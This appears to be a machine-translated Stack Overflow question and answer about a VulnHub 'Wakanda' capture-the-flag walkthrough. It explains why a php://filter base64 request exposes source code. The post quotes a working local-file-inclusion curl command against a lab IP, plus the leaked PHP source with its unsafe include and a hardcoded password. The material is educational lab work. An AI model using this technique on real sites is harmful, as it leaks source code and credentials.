在这里阅读wakanda的vulnhub演练
https://medium.com/egghunter/wakanda-1-vulnhub-walkthrough-3d524ed8a372
它使用了一个我以前从未见过的php过滤器(base64编码器),然后解码。使用这行代码
curl http://192.168.56.102/?lang=php://filter/convert.base64-encode/resource=index | head -n 1 | base64 -d相比之下,我尝试通过以下方式简单地卷曲页面
curl http://192.168.56.102/?lang=php两者都输出html,但过滤后的代码还会在封装在php标记内的DOCTYPE标头上方生成几行代码。我的问题是为什么会发生这种情况?
重要的输出(前几行)如下所示
<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it
if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}
?>
<!DOCTYPE html>
<html lang="en"><head>显然,这是错误的,但似乎过滤后的代码是:编码,然后解码,然后以某种方式在这个过程中获得比我们只是卷曲所有东西更多的信息
发布于 2019-10-03 21:00:35
我偶然发现了这篇文章
https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/
这很好地解释了这一点。
在
语句中使用文件之前,强制PHP对文件进行base64编码。从这一点上讲,接下来就是解码base64字符串以获得base64文件的源代码。
所以为什么过滤后的代码会得到所有的html和php,是因为它使得php在抓取html之前被编码,并将其包装成一个输出字符串,然后可以被解码和读取。这意味着您可以从其他支持文件中获得页面html和php代码作为输出。
https://stackoverflow.com/questions/58208037
复制相似问题